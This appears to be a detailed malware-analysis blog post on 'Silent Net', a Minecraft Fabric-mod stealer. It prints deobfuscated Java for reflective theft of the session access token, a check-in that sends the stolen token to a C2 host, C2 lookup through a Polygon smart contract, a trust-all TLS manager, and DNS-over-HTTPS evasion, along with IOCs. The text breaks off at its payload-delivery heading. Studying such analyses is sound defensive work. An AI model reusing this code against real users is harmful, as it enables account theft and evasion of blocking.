A complete technical breakdown of the Silent Net family. Fabric mod loader entry, reflective Mojang access token theft, C2 resolution from a Polygon smart contract, DNS over HTTPS to defeat blocking, a ZIP payload hidden in a PNG chunk called hIds, and handoff to a Python stage. Full obfuscation taxonomy, deobfuscated code for every stage, and IOCs.

Silent Net: a Minecraft stealer with its C2 on the blockchain
34 mins
6863 words
Loading views

This is a full reversal of the Silent Net family, a Minecraft-focused stealer and dropper that has been circulating through the mod and cheat scene. The analysis below covers the loader artefact in full: every class, every method, every string constant, and the complete execution chain from game launch to second-stage execution.

The scope is stated plainly at the outset because the boundary matters. Everything in the loader is verified against the binary, including all 152 obfuscated strings, which were decoded and are reproduced here verbatim. Everything past main.py is recon: the second stage is a bundled Python program that is not present in the loader, and no claim is made about its contents.

A second clarification, since the family is described loosely in the communities it circulates in. Silent Net is a credential stealer and a dropper. There is no command-and-control channel, no keylogging, no screen capture, no clipboard access, no browser credential theft, and no persistence mechanism anywhere in the loader. Those claims appear in forum descriptions of the family and they are not supported by the code.

The single most consequential design decision in this malware is also the least visible in the code. The command-and-control domain is not present in the binary. It is read from an Ethereum smart contract at runtime.

Component maph2

The loader is eight classes in a single package.

classrole
ModEntryFabric mod entrypoint, session theft, relaunch
Launcherstandalone entrypoint, relaunch
SessionReflectorreflective session scraper, zero I/O
Dropperorchestrator, payload delivery, exfiltration
RawHttpClientsocket-level HTTP/1.1, TLS, DNS over HTTPS
HttpResponseresponse container, inner class of the HTTP client
DnsCacheEntryresolver cache record, inner class of the HTTP client
TrustAllX509Managercertificate validation bypass, inner class of the HTTP client

Class names in all code listings are functional descriptors assigned for readability. The originals are opaque identifiers of the form dkceAf, nwoh, jmszuiDkdrc, kphnzpoHdnpji, rrWkn. Control flow, data flow, and every string constant are unchanged from the sample.

Obfuscation taxonomyh2

The loader applies six distinct techniques. They are worth separating because each defeats a different analysis method, and because the first one alone determines how long the sample resists a first look.

String encoding by constant arithmetich3

The loader contains no string literals. Not one. Every character of every string is computed at runtime from integer arithmetic, using three operand shapes with large randomised constants chosen so the folded result lands on the intended ASCII value.

String construction, the three operand shapes in use
sb.append((char) (60852 ^ 60805)); // '1'
sb.append((char) (9759 ^ 9777)); // '.'
sb.append((char) (32793 ^ 32808)); // '1'
sb.append((char) (55164 ^ 55122)); // '.'
sb.append((char) (23210 ^ 23195)); // '1'
sb.append((char) (23517 ^ 23539)); // '.'
sb.append((char) (32782 ^ 32831)); // '1'
// result: "1.1.1.1"

All three forms appear, freely mixed:

formexamplefolds to
XOR(char) (60852 ^ 60805)'1'
addition(char) (12715 + 54143)'o'
subtraction(char) (61404 - 61290)'J'

The operands serve no purpose other than to defeat constant folding and pattern matching. They are individually meaningless and their only function is to cancel into the right answer.

This defeats more than grep. A rule written against strings will not fire, because the strings are not in the constant pool. A rule written against the operands is defeated the moment the author changes the randomisation, which is trivial to do automatically at build time.

String fragmentationh3

Individual strings are split across multiple StringBuilder variables so that no single variable ever holds a complete sensitive value. The target class name is assembled in three pieces across three builders:

Fragmented class name, cleaned of the arithmetic
sb.append("net.mine");
sb.append("craft.class_310"); // sb2
// third candidate is split again across sb3 and sb6

Neither sb nor sb2 contains a resolvable class name on its own. This defeats signature matching on string constants even after the arithmetic has been folded, because the constant is never contiguous in the bytecode.

Opaque predicates and dead computationh3

Branches with statically true conditions wrap arithmetic whose results are never read.

Opaque predicates, representative samples
if (5796277 >= 5796277 && 5796277 < 13621503) {
int i = 25827 * 63;
}
if (((-82671695) & (-82671695)) == -82671695) {
int i = ((-1856576568) << 1) >>> 16;
long j = (7766500526990840571L & 1580892498155134278L) | 3136373257842039447L;
}
if (((-171657218) | (-171657218)) == -171657218) {
int i = (-386283732) | 104960053;
int i2 = (1937487615 << 21) >>> 27;
}

Each predicate is a tautology over its own operands. The decompiler renders them faithfully and in full, which is the main reason the raw disassembly of the largest class is 113 KB of which roughly 70 percent is inert.

The purpose is code inflation and analyst cost. There is no anti-emulation purpose here; every one of these would evaluate identically under any sane emulator.

Identifier manglingh3

Every class, method, field, and local name is randomised. Local names in particular are long, mixed-case, and machine generated, of the form wtPjyb, ndiyrlKropqCfqkmLup, ses_ed846f79dffefF0l0bktSSz96x. Fields use mixed conventions in the same class, which defeats a purely structural approach to name analysis.

There is one exception, and it is not accidental. The string constants compared inside SessionReflector to locate Minecraft’s methods and fields are stored as ordinary literals inside the comparison chain rather than run through the arithmetic encoder, because they must survive as comparable values in a String.equals call. That is what preserves them into the constant pool and it is the basis of the static detection discussed later.

Decoy valuesh3

Candidate lists contain entries that cannot resolve, on purpose. net.minecraft.client.Minecraft is not a real class. In one of the three token-stealing methods, two of the three candidates are truncated mid-string to net.minecraft.clie and net.minecraft.clientnt.Minecraft.

Each produces a ClassNotFoundException, which is swallowed by an empty catch block. The effect is to lengthen the candidate list, inflate the apparent breadth of the mapping support, and misdirect anyone attempting to enumerate the supported Minecraft versions.

Empty exception handlersh3

Every reflective and network failure path is swallowed.

Error handling, complete inventory of what the loader catches
// SessionReflector, three identical shapes:
} catch (ClassNotFoundException e) {
}
...
} catch (ReflectiveOperationException | RuntimeException e2) {
return null;
}
// ModEntry and Launcher, top level:
} catch (Exception e) {
}
// Dropper, check-in:
} catch (Exception e) {
return null;
}

No stack trace is emitted, no file is written, no telemetry is left. On a host where every stage fails, the loader produces no observable output. This is a deliberate operational decision and it is what makes the sample hard to notice without prior knowledge that it is present.

Summary of technique impacth3

techniquedefeated analysis
arithmetic string encodingstring grep, string-based signatures
string fragmentationconstant-pool signatures
opaque predicatesdecompiler readability, manual review speed
identifier manglingcross-sample correlation
decoy valuesversion-support enumeration, clean decompilation
empty catch blocksfailure-based detection, log-based detection

Execution environmenth2

Silent Net runs inside the Minecraft client process on Windows and requires no installation step.

The delivery mechanism is the Fabric mod loader. Fabric mods are JAR files placed in the Minecraft mods directory; the loader instantiates any class implementing ModInitializer at startup and calls its entry point. The victim has a signed-in client open, and the mod executes inside it.

The complete public surface of the mod entrypoint
public class ModEntry implements ModInitializer {
public void onInitialize() {
new Thread(() -> { ... }).start();
}
}

That single interface is the entire delivery problem for the operator. Any channel that delivers a JAR into a mods folder works: cheat clients, optimisation packs, cracked launcher bundles, or a direct social-engineering download.

Three properties of this execution model shape the rest of the design:

  • The process is already trusted and already elevated if the user runs Minecraft as administrator, which is common.
  • No new process is created for the initial theft, so there is nothing for a user to see.
  • The malware holds a live authenticated session object in memory, in the hands of the game.

A second entrypoint exists for double-click execution, with a re-entry guard so the relaunch does not recurse:

Launcher.main, re-entry guard, cleaned
public static void main(String[] args) {
if (args.length > 0 && !args[0].equals("-restarted")) {
Dropper.main(args); // config already supplied, run stage one
return;
}
for (String a : args) {
if (a.equals("-restarted")) {
buildConfigAndDelegate(); // first run, build config then hand off
return;
}
}
// ... build a minimal config and relaunch, see below
}

The -restarted sentinel is passed as an argument to the relaunched process. Its presence marks the second stage of execution.

The platform binding is absolute. There is no Linux or macOS code path. Windows-specific dependencies throughout: javaw.exe from System.getProperty("java.home"), the %LOCALAPPDATA% environment variable, Path.of with backslash-separated components, and new File("NUL") for stdin redirection.

Execution chainh2

  1. Minecraft launches, the mod loader instantiates the mod entrypoint.
  2. A background thread is started; the game client continues normally.
  3. Username, UUID, and access token are read reflectively from the live session object.
  4. The C2 domain is resolved from a Polygon smart contract.
  5. POST /shard/prefireMc carrying the stolen access token. Account compromise is complete.
  6. A JSON configuration is assembled and base64 encoded.
  7. javaw.exe is relaunched with the loader on its classpath and the configuration as an argument.
  8. The child process repeats steps 4 and 5, then continues.
  9. GET /cdn/v2/9f4e7a2c1b8d.png retrieves a PNG carrying a ZIP in a custom chunk.
  10. The payload is inflated, unpacked, and written to disk.
  11. python.exe main.py executes the second stage.
  12. POST /shard/submitMinecraftLog exfiltrates the game log and an implant self-report. Fires on every exit path.

Steps 5 and 12 are the two that matter. Step 5 is the theft and it is unconditional. Step 12 is the confirmation.

Stage one: session thefth2

The reflector class is 1,021 lines with exactly one import, java.lang.reflect. No networking, no file access, no process creation, no crypto. It reads values off the live client object and returns them.

Three methods, one reflection chain, three different values taken from it.

Chain resolutionh3

SessionReflector, class and singleton resolution, cleaned
StringBuilder sb = new StringBuilder();
sb.append("net.mine");
sb.append(new String(new char[]{ /* "craft.class_310" */ }));
// third candidate fragmented across sb3 + sb6
for (String className : candidates) {
try {
Class<?> mcClass = Class.forName(className);
Method singleton = null;
for (Method m : mcClass.getDeclaredMethods()) {
if (m.getParameterCount() == 0 && Modifier.isStatic(m.getModifiers())) {
singleton = m;
break;
}
}
if (singleton != null) {
singleton.setAccessible(true);
Object mc = singleton.invoke(null);
...
}
} catch (ClassNotFoundException e) {
// swallowed; decoys and unmapped versions land here
}
}

The singleton is located structurally, by signature, rather than by name. That is what makes it work across the naming schemes.

Session accessor and type guardh3

SessionReflector, session accessor, cleaned
for (Method m : mcClass.getDeclaredMethods()) {
String name = m.getName();
if (name.equals("getSession") || name.equals("getUser") || name.equals("method_1548")) {
// guard: only proceed if this method actually returns a Session
if (m.getReturnType().getSimpleName().equals("Session")) {
m.setAccessible(true);
Object session = m.invoke(mc);
...
}
}
}
for (Field f : mcClass.getDeclaredFields()) {
if (!Modifier.isStatic(f.getModifiers()) && f.getName().equals("field_1726")) {
f.setAccessible(true);
Object session = f.get(mc);
...
}
}

The return-type check is worth noting. The loader verifies the shape of the object before reading a credential from it, which requires an understanding of the mapping tables that goes beyond pattern copying.

Value extractionh3

SessionReflector.stealUuid, verbatim apart from the arithmetic
for (Method m : session.getClass().getDeclaredMethods()) {
if (m.getName().equals("getUuid") || m.getName().equals("method_44717")) {
m.setAccessible(true);
Object v = m.invoke(session, new Object[0]);
if (v != null) {
return v.toString();
}
}
}
for (Field f : session.getClass().getDeclaredFields()) {
if (!Modifier.isStatic(f.getModifiers()) && f.getName().equals("field_1985")) {
f.setAccessible(true);
Object v = f.get(session);
if (v != null) {
return v.toString();
}
}
}

Method name, intermediary name, then field handle, in that order, with every failure swallowed.

methodreturnsmembers attempted
stealUsernamein-game usernamegetUsername, method_1676, field_1982
stealUuidprofile UUIDgetProfileId, getUuidOrNull, method_44717, field_1985
stealAccessTokenOAuth access tokengetAccessToken, method_1674, field_1983

Why the token mattersh3

A Minecraft access token is a bearer credential. Possession of it is sufficient to act as the account holder against the session endpoints, with no password or second factor involved.

This is the entire objective of the loader. Everything after this point is distribution.

The breadth of the candidate list is what allows one artefact to cover the mod ecosystem rather than a single Minecraft version. Yarn names, intermediary names, and field handles are all attempted, and the decoy entries mean the list length overstates the coverage. Both facts are useful context for assessing whether a given installation is vulnerable.

Stage two: the check-inh2

The theft is transmitted immediately, before any payload work begins.

Dropper.checkInToC2, cleaned
public String checkInToC2(String host, String sess, String uid) {
try {
String body = "{\"sessionId\":\"" + jsonEscape(sess)
+ "\",\"userId\":\"" + jsonEscape(uid) + "\"}";
String url = "https://" + host + "/shard/prefireMc";
HttpResponse r = RawHttpClient.httpPostWithHeaders(
url, body, "application/json",
Map.of("X-Edge-Cache-Revalidate", "stale-if-error",
"X-Runtime-Env", "jre-embedded"));
if (r.statusCode != 200) return null;
return jsonField(r.bodyString(), "prefireId");
} catch (Exception e) {
return null;
}
}

And the caller:

The theft, in full, cleaned
String accessToken = SessionReflector.stealAccessToken();
String username = SessionReflector.stealUsername();
String uuid = SessionReflector.stealUuid();
if (uuid == null) uuid = "unknown";
String campaignId = getCampaignId();
String botId = getBotId();
Path gameDir = detectGameDir();
Dropper dropper = new Dropper();
String domain = dropper.resolveC2Domain();
String prefireId = dropper.checkInToC2(domain, accessToken, campaignId);

The stolen access token is sent as sessionId on the first HTTP request the malware makes. When the check-in returns, the account is compromised, regardless of whether every subsequent stage succeeds.

Configuration handoffh2

The relaunched process receives its configuration as a single base64 argument. On the mod path, the stolen session is nested inside it one level of encoding deeper.

ModEntry, session blob construction, cleaned
String mcInfo = Base64.getEncoder().encodeToString(
("{\"username\":\"" + jsonEscape(username) +
"\",\"uuid\":\"" + jsonEscape(uuid) +
"\",\"accessToken\":\"" + jsonEscape(accessToken) + "\"}")
.getBytes(StandardCharsets.UTF_8));

That value is embedded in a larger configuration object:

Configuration handed to the child JVM, decoded
{"mcInfo":"<base64 of the object above>",
"prefireId":"<identifier returned by the check-in>",
"userId":"0882e377-9660-4543-b568-0b9336e30155",
"tag":"<distribution tag>",
"domain":"<resolved C2 domain>",
"gameDir":"<detected Minecraft directory>",
"mcUsername":"<stolen username>",
"mcUuid":"<stolen uuid>",
"env":"Fabric"}

The standalone path builds a smaller configuration, because it has no session to carry:

Launcher.buildConfigAndDelegate, cleaned
String config = "{\"userId\":\"" + jsonEscape(getCampaignId())
+ "\",\"tag\":\"" + jsonEscape(getBotId())
+ "\",\"domain\":\"" + jsonEscape(resolveC2Domain())
+ "\",\"env\":\"DoubleClick\"}";
Dropper.main(new String[]{
Base64.getEncoder().encodeToString(config.getBytes(StandardCharsets.UTF_8)) });

The env field distinguishes the delivery channel: Fabric for the mod path, DoubleClick for direct execution. It is carried through to the second-stage command line, which lets the operator attribute and price victims by funnel.

JSON handlingh3

No JSON library is present. Parsing is a substring search with manual escape handling:

Dropper.jsonField, cleaned, extraction logic
String jsonField(String json, String key) {
String needle = "\"" + key + "\":\"";
int start = json.indexOf(needle);
if (start == -1) return null;
int i = start + needle.length();
StringBuilder out = new StringBuilder();
boolean inEscape = false;
while (i < json.length()) {
char c = json.charAt(i);
if (inEscape) {
switch (c) {
case '"': out.append('"'); break;
case '\\': out.append('\\'); break;
case 'n': out.append('\n'); break;
case 'r': out.append('\r'); break;
case 't': out.append('\t'); break;
case 'u': /* 4 hex digits */ break;
default: out.append(c);
}
inEscape = (c != 'u');
} else if (c == '\\') {
inEscape = true;
} else if (c == '"') {
break;
} else {
out.append(c);
}
i++;
}
return out.toString();
}

This is a hand-rolled scanner. It requires the value to be a string with no whitespace between the colon and the opening quote, which is a real limitation that constrains how the C2 server must format its responses.

Escaping for outbound values is a separate routine, duplicated in two classes:

jsonEscape, present in three classes, cleaned
private String jsonEscape(String s) {
if (s == null) return "";
StringBuilder sb = new StringBuilder();
for (char c : s.toCharArray()) {
switch (c) {
case '\t': sb.append("\\t"); break;
case '\n': sb.append("\\n"); break;
case '\r': sb.append("\\r"); break;
case '"': sb.append("\\\""); break;
case '\\': sb.append("\\\\"); break;
default:
if (c < ' ') sb.append(String.format("\\u%04x", (int) c));
else sb.append(c);
}
}
return sb.toString();
}

Configuration decodingh3

Dropper.parseConfig, cleaned
private boolean parseConfig(String b64) {
try {
String json = new String(Base64.getDecoder().decode(b64), StandardCharsets.UTF_8);
this.mcInfo = jsonField(json, "mcInfo");
this.prefireId = jsonField(json, "prefireId");
this.userId = jsonField(json, "userId");
this.tag = jsonField(json, "tag");
this.c2Domain = jsonField(json, "domain");
this.gameDir = jsonField(json, "gameDir");
this.mcUsername = jsonField(json, "mcUsername");
this.mcUuid = jsonField(json, "mcUuid");
this.loaderEnv = jsonField(json, "env");
if (this.loaderEnv == null) this.loaderEnv = "Fabric";
if (this.c2Domain == null || this.userId == null) return false;
return true;
} catch (Exception e) {
return false;
}
}

Domain and campaign identifier are both mandatory. Everything else has a fallback or is optional.

The C2 domainh2

This is the operationally significant design decision in the family, and it is the reason a full writeup is warranted.

No domain in the binaryh3

There is no hardcoded primary command-and-control address. The domain is read from an Ethereum smart contract at execution time, on every run.

Dropper.resolveC2Domain, cleaned
public String resolveC2Domain() {
if (this.cachedC2Domain != null) return this.cachedC2Domain;
String address = getC2ContractAddress();
String selector = getContractSelector();
String body = "{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{"
+ "\"to\":\"" + address +
"\",\"data\":\"" + selector
+ "\"},\"latest\"],\"id\":1}";
for (String rpc : getPolygonRpcEndpoints()) {
try {
HttpResponse r = RawHttpClient.httpPost(rpc, body, "application/json");
if (r.statusCode == 200) {
String v = parseRpcResult(r.bodyString());
if (v != null && v.length() > 0) {
this.cachedC2Domain = v;
return v;
}
}
} catch (Exception e) { }
}
this.cachedC2Domain = getFallbackC2Domain();
return this.cachedC2Domain;
}

The contract address and function selector are hardcoded, in three fragments each:

getC2ContractAddress, cleaned
return sb.append("0x9c0a507300fd")
.append("902787bb193d")
.append("80fca5ce6e1bff9a")
.toString();
private static String getContractSelector() {
return sb2.toString(); // "0xce6d41de"
}

RPC endpointsh3

Five endpoints, attempted in order, first success wins.

hostcharacteristics
polygon-org.rpc.publicnode.compublic, unauthenticated
polygon-bor-rpc.publicnode.compublic, unauthenticated
1rpc.io/maticpublic, unauthenticated
api.zk.top with polygon-mainnet.ic.quiknode.proprovisioned commercial endpoint, host assembled from three fragments
rpc-mainnet.ic.quiknode.proprovisioned commercial endpoint

The ordering is a degradation path: three free public endpoints first, then two commercial ones as backup. The commercial endpoints being present at all is a cost signal. Dedicated RPC capacity is provisioned and billed, and maintaining it to answer one read per victim is a deliberate operational expense rather than an accident.

Response parsingh3

Dropper.parseRpcResult, verbatim
private String parseRpcResult(String json) {
int r = json.indexOf("\"result\"");
if (r == -1) return null;
int colon = json.indexOf(":", r);
int q1 = json.indexOf("\"", colon);
int q2 = json.indexOf("\"", q1 + 1);
if (q1 == -1 || q2 == -1) return null;
return decodeContractBlob(json.substring(q1 + 1, q2));
}

Then the ABI decode. This is a standard Solidity string return: a 32-byte offset, a 32-byte length, then the UTF-8 payload.

Dropper.decodeContractBlob, verbatim
private String decodeContractBlob(String hex) {
if (hex == null || !hex.startsWith("0x") || hex.length() < 130) return null;
try {
String body = hex.substring(2);
int len = Integer.parseInt(body.substring(64, 128), 16);
if (len == 0 || len > 10000) return null;
String data = body.substring(128, 128 + (len * 2));
return new String(hexToBytes(data), StandardCharsets.UTF_8);
} catch (Exception e) {
return null;
}
}

The 10000-byte ceiling is a sanity bound on the decoded value. A domain longer than that is rejected and the next endpoint is tried.

Result cachingh3

Dropper, resolver cache
private static final Map<String, DnsCacheEntry> cache = new ConcurrentHashMap<>();

C2 resolution caches for 300,000 milliseconds. Within a single execution this matters little, but the same structure is used for DNS, where it is the difference between one and many lookups per connection.

Fallbackh3

If every RPC endpoint fails, a single hardcoded domain is used:

thisisafalsepositive.st

This is the only domain present in the binary, and it is a fallback rather than the primary.

Summaryh3

contract0x9c0a507300fd902787bb193d80fca5ce6e1bff9a
selector0xce6d41de
chainPolygon PoS
fallback domainthisisafalsepositive.st
live domaindetermined by contract state at execution time

The live domain cannot be stated without reading the contract, which was not done. That is recon. What is verifiable is the contract address, the selector, the endpoint list, the decode logic, and the fallback.

Operational assessmenth3

The benefit to the operator is domain rotation with no infrastructure to attack. Changing the address requires a transaction to a contract. No new build, no update server, no push to hosts already infected. Every victim fetches the current address at the moment it runs, so a domain takedown is recovered from on the next infection cycle.

The cost is equally structural. The read is public, so the current domain is available to anyone who queries the contract. The history is permanent, so contract storage constitutes an append-only record of every address the operation has ever used. For a defender, that record is a forward-looking map rather than a historical artifact.

Network layerh2

The HTTP client is written from scratch. There is no HttpURLConnection, no HttpClient, no third-party dependency.

Response containerh3

RawHttpClient.HttpResponse, cleaned
public static class HttpResponse {
public final int statusCode;
public final String statusLine;
public final Map<String, String> headers;
public final byte[] body;
public String bodyString() { return new String(body, StandardCharsets.UTF_8); }
public String header(String name) { return headers.get(name.toLowerCase()); }
}

Request constructionh3

RawHttpClient.executeRequest, cleaned
URL url = URI.create(urlStr).toURL();
String host = url.getHost();
int port = url.getPort();
boolean isTls = url.getProtocol().equalsIgnoreCase("https");
if (port == -1) port = isTls ? 443 : 80;
String path = url.getPath();
if (path == null || path.isEmpty()) path = "/";
if (url.getQuery() != null) path = path + "?" + url.getQuery();
String ip = resolveHost(host); // see DNS section
Socket sock = new Socket();
sock.setReceiveBufferSize(524288);
sock.connect(new InetSocketAddress(ip, port), 10000);
sock.setSoTimeout(30000);
if (isTls) {
SSLSocket ssl = (SSLSocket) sslFactory.createSocket(sock, host, port, true);
SSLParameters p = ssl.getSSLParameters();
p.setServerNames(List.of(new SNIHostName(host)));
p.setEndpointIdentificationAlgorithm("HTTPS");
ssl.setSSLParameters(p);
ssl.startHandshake();
sock = ssl;
}

Connection parameters, which are fingerprintable:

settingvalue
connect timeout10000 ms
read timeout30000 ms
receive buffer524288 bytes
DNS cache TTL300000 ms

Request serialisationh3

RawHttpClient, header assembly, cleaned
StringBuilder req = new StringBuilder();
req.append(method).append(" ").append(path).append(" HTTP/1.1\r\n");
req.append("Host: ").append(host);
if ((isTls && port != 443) || (!isTls && port != 80)) req.append(":").append(port);
req.append("\r\n");
req.append("Connection: close\r\n");
boolean hasAccept = false, hasUserAgent = false;
for (Map.Entry<String, String> e : customHeaders.entrySet()) {
String name = e.getKey();
if (name.equalsIgnoreCase("Host") || name.equalsIgnoreCase("Connection")
|| name.equalsIgnoreCase("Content-Length")) {
continue; // caller cannot override these
}
if (name.equalsIgnoreCase("Accept")) hasAccept = true;
if (name.equalsIgnoreCase("User-Agent")) hasUserAgent = true;
req.append(name).append(": ").append(e.getValue()).append("\r\n");
}
if (!hasAccept) req.append("Accept: */*\r\n");
if (!hasUserAgent) req.append("User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
+ "AppleWebKit/537.36\r\n");
if (body != null) {
byte[] payload = body.getBytes(StandardCharsets.UTF_8);
if (contentType != null) req.append("Content-Type: ").append(contentType).append("\r\n");
req.append("Content-Length: ").append(payload.length).append("\r\n");
}
req.append("\r\n");
out.write(req.toString().getBytes(StandardCharsets.ISO_8859_1));
if (payload != null) out.write(payload);
out.flush();

Three header names are unconditionally blocked from caller override: Host, Connection, and Content-Length. Those are exactly the three whose manipulation would break the parser. Accept and User-Agent are tracked so defaults can be applied when absent.

The default user agent is a bare Chrome signature with no browser version or platform token, which is a distinguishing detail. The payload download path overrides it with a complete and more plausible string.

Response parsingh3

RawHttpClient.parseResponse, cleaned
BufferedInputStream in = new BufferedInputStream(raw);
ByteArrayOutputStream head = new ByteArrayOutputStream();
int prev = -1, b;
while ((b = in.read()) != -1) {
head.write(b);
if (prev == 13 && b == 10) { // CRLF
int size = head.size();
byte[] bytes = head.toByteArray();
if (size >= 4 && bytes[size-4] == 13 && bytes[size-3] == 10) break; // blank line
}
prev = b;
}
String headText = head.toString(StandardCharsets.ISO_8859_1);
String[] lines = headText.split("\r\n");
String statusLine = lines.length > 0 ? lines[0] : "";
int statusCode = 0;
if (statusLine.startsWith("HTTP/")) {
int sp = statusLine.indexOf(' ');
if (sp > 0) {
int sp2 = statusLine.indexOf(' ', sp + 1);
String code = sp2 > 0 ? statusLine.substring(sp + 1, sp2)
: statusLine.substring(sp + 1);
try { statusCode = Integer.parseInt(code.trim()); } catch (NumberFormatException e) { }
}
}
Map<String, String> headers = new LinkedHashMap<>();
int contentLength = -1;
boolean chunked = false;
for (int i = 1; i < lines.length; i++) {
int colon = lines[i].indexOf(':');
if (colon > 0) {
String k = lines[i].substring(0, colon).trim().toLowerCase();
String v = lines[i].substring(colon + 1).trim();
headers.put(k, v);
if (k.equals("content-length")) {
try { contentLength = Integer.parseInt(v); } catch (NumberFormatException e) { }
} else if (k.equals("transfer-encoding")) {
if (v.toLowerCase().contains("chunked")) chunked = true;
}
}
}
byte[] body;
if (chunked) {
body = decodeChunkedBody(in);
} else if (contentLength >= 0) {
body = new byte[contentLength];
int read = 0;
while (read < contentLength && (n = in.read(body, read, contentLength - read)) != -1) read += n;
} else {
ByteArrayOutputStream all = new ByteArrayOutputStream(1048576);
byte[] buf = new byte[131072];
while ((n = in.read(buf)) != -1) all.write(buf, 0, n);
body = all.toByteArray();
}
return new HttpResponse(statusCode, statusLine, headers, body);

Three body framing methods are supported, in priority order: chunked transfer encoding, declared content length, then read to end of stream. The chunked branch takes precedence over content length, which is the correct behaviour when a server sends both.

Chunked decodingh3

RawHttpClient.decodeChunkedBody, cleaned
ByteArrayOutputStream out = new ByteArrayOutputStream(1048576);
StringBuilder sizeBuf = new StringBuilder();
while (true) {
sizeBuf.setLength(0);
int c;
while ((c = in.read()) != -1 && c != 13) sizeBuf.append((char) c); // read to CR
if (c == 13) in.read(); // consume LF
String line = sizeBuf.toString();
int ext = line.indexOf(';'); // strip chunk extensions
if (ext >= 0) line = line.substring(0, ext);
int size = Integer.parseInt(line.trim(), 16); // hex
if (size == 0) break;
byte[] chunk = new byte[size];
int read = 0;
while (read < size && (n = in.read(chunk, read, size - read)) != -1) read += n;
out.write(chunk, 0, read);
in.read(); // trailing CRLF
in.read();
}
return out.toByteArray();

Chunk extensions are handled, which is not always the case in hand-written clients and suggests the implementation was tested against a real server rather than only against itself.

TLS configurationh3

Certificate validation is disabled.

RawHttpClient.TrustAllX509Manager, verbatim
private static class TrustAllX509Manager implements X509TrustManager {
private TrustAllX509Manager() { }
@Override public void checkClientTrusted(X509Certificate[] chain, String authType) { }
@Override public void checkServerTrusted(X509Certificate[] chain, String authType) { }
@Override public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; }
}
static {
try {
SSLContext ctx = SSLContext.getInstance("TLS");
ctx.init(null, new TrustManager[]{ new TrustAllX509Manager() }, new SecureRandom());
sslFactory = ctx.getSocketFactory();
} catch (Exception e) {
sslFactory = (SSLSocketFactory) SSLSocketFactory.getDefault();
}
}

The empty checkServerTrusted accepts any certificate from any issuer. Combined with setEndpointIdentificationAlgorithm("HTTPS"), the client requires the hostname to be presented correctly in the handshake while not caring whether the certificate was signed by a recognised authority.

DNS over HTTPSh2

The reason the HTTP client had to be written from scratch is visible in the line resolveHost(host). Silent Net resolves DNS itself, and does so over HTTPS.

This defeats domain-based blocking directly. A DNS blocklist entry for the C2 address has no effect, because the local resolver is never consulted.

Host resolutionh3

RawHttpClient.resolveHost, cleaned
public static String resolveHost(String hostname) throws IOException {
if (isIpv4Literal(hostname)) return hostname;
DnsCacheEntry cached = cache.get(hostname);
if (cached != null && !cached.isExpired()) return cached.ip;
byte[] query = buildDnsQuery(hostname);
byte[] response = dohQuery(query);
String ip = parseDnsResponse(response);
if (ip != null) {
cache.put(hostname, new DnsCacheEntry(ip, System.currentTimeMillis() + 300000));
}
return ip;
}
private static boolean isIpv4Literal(String s) {
if (s == null || s.isEmpty()) return false;
for (char c : s.toCharArray()) {
if (c != '.' && (c < '0' || c > '9')) return false;
}
return s.contains(".");
}

Query constructionh3

A DNS wire-format packet is assembled by hand.

RawHttpClient.buildDnsQuery, cleaned
private static byte[] buildDnsQuery(String hostname) {
ByteArrayOutputStream buffer = new ByteArrayOutputStream();
DataOutputStream out = new DataOutputStream(buffer);
try {
short id = (short) (System.nanoTime() & 65535);
out.writeShort(id);
out.writeShort(256); // standard query, recursion desired
out.writeShort(1); // one question
out.writeShort(0); // no answers
out.writeShort(0); // no authority records
out.writeShort(0); // no additional records
for (String label : hostname.split("\\.")) {
out.writeByte(label.length());
out.writeBytes(label);
}
out.writeByte(0); // root label
out.writeShort(1); // type A
out.writeShort(1); // class IN
return buffer.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
}
}

Transporth3

RawHttpClient.dohQuery, cleaned
private static byte[] dohQuery(byte[] dnsQuery) throws IOException {
Socket sock = new Socket();
sock.connect(new InetSocketAddress("1.1.1.1", 443), 10000);
sock.setSoTimeout(30000);
SSLSocket ssl = (SSLSocket) sslFactory.createSocket(sock, "cloudflare-dns.com", 443, true);
SSLParameters p = ssl.getSSLParameters();
p.setServerNames(List.of(new SNIHostName("cloudflare-dns.com")));
ssl.setSSLParameters(p);
ssl.startHandshake();
try {
OutputStream out = ssl.getOutputStream();
InputStream in = ssl.getInputStream();
String encoded = Base64.getUrlEncoder().withoutPadding().encodeToString(dnsQuery);
StringBuilder req = new StringBuilder();
req.append("GET /dns-query?dns=").append(encoded).append(" HTTP/1.1\r\n");
req.append("Host: cloudflare-dns.com\r\n");
req.append("Accept: application/dns-message\r\n");
req.append("Connection: close\r\n");
req.append("\r\n");
out.write(req.toString().getBytes(StandardCharsets.ISO_8859_1));
out.flush();
return parseResponse(in).body;
} finally {
ssl.close();
}
}

The request on the wire:

DNS query, request format
GET /dns-query?dns=<base64url, unpadded> HTTP/1.1
Host: cloudflare-dns.com
Accept: application/dns-message
Connection: close

The resolver IP is hardcoded to 1.1.1.1 while SNI and the Host header both carry cloudflare-dns.com. A dedicated resolver address with correct virtual-host routing, which is what makes the request valid against Cloudflare’s endpoint.

The only hostname this host ever resolves is cloudflare-dns.com, which is not subject to blocking.

Response decodingh3

RawHttpClient.parseDnsResponse, cleaned
private static String parseDnsResponse(byte[] response) {
if (response == null || response.length < 12) return null;
ByteBuffer buf = ByteBuffer.wrap(response);
buf.getShort(); // transaction ID
int flags = buf.getShort();
if ((flags & 32768) == 0) return null; // QR bit: is this a response?
if ((flags & 15) != 0) return null; // RCODE: non-zero is an error
int qdcount = buf.getShort() & 65535;
int ancount = buf.getShort() & 65535;
buf.getShort(); // authority count
buf.getShort(); // additional count
for (int i = 0; i < qdcount; i++) {
skipDnsName(buf);
buf.getShort(); // QTYPE
buf.getShort(); // QCLASS
}
for (int i = 0; i < ancount; i++) {
skipDnsName(buf);
int type = buf.getShort() & 65535;
buf.getShort(); // CLASS
buf.getInt(); // TTL
int rdlen = buf.getShort() & 65535;
if (type == 1 && rdlen == 4) { // A record, IPv4
byte[] octets = new byte[4];
buf.get(octets);
return (octets[0] & 255) + "." + (octets[1] & 255) + "."
+ (octets[2] & 255) + "." + (octets[3] & 255);
}
buf.position(buf.position() + rdlen);
}
return null;
}
private static void skipDnsName(ByteBuffer buf) {
while (buf.hasRemaining()) {
int len = buf.get() & 255;
if (len == 0) return; // root label terminates
if ((len & 192) == 192) { // compression pointer
buf.get();
return;
}
buf.position(buf.position() + len);
}
}

This is a complete DNS response parser, including name compression handling and RCODE validation. Only the first A record is used.

Payload deliveryh2

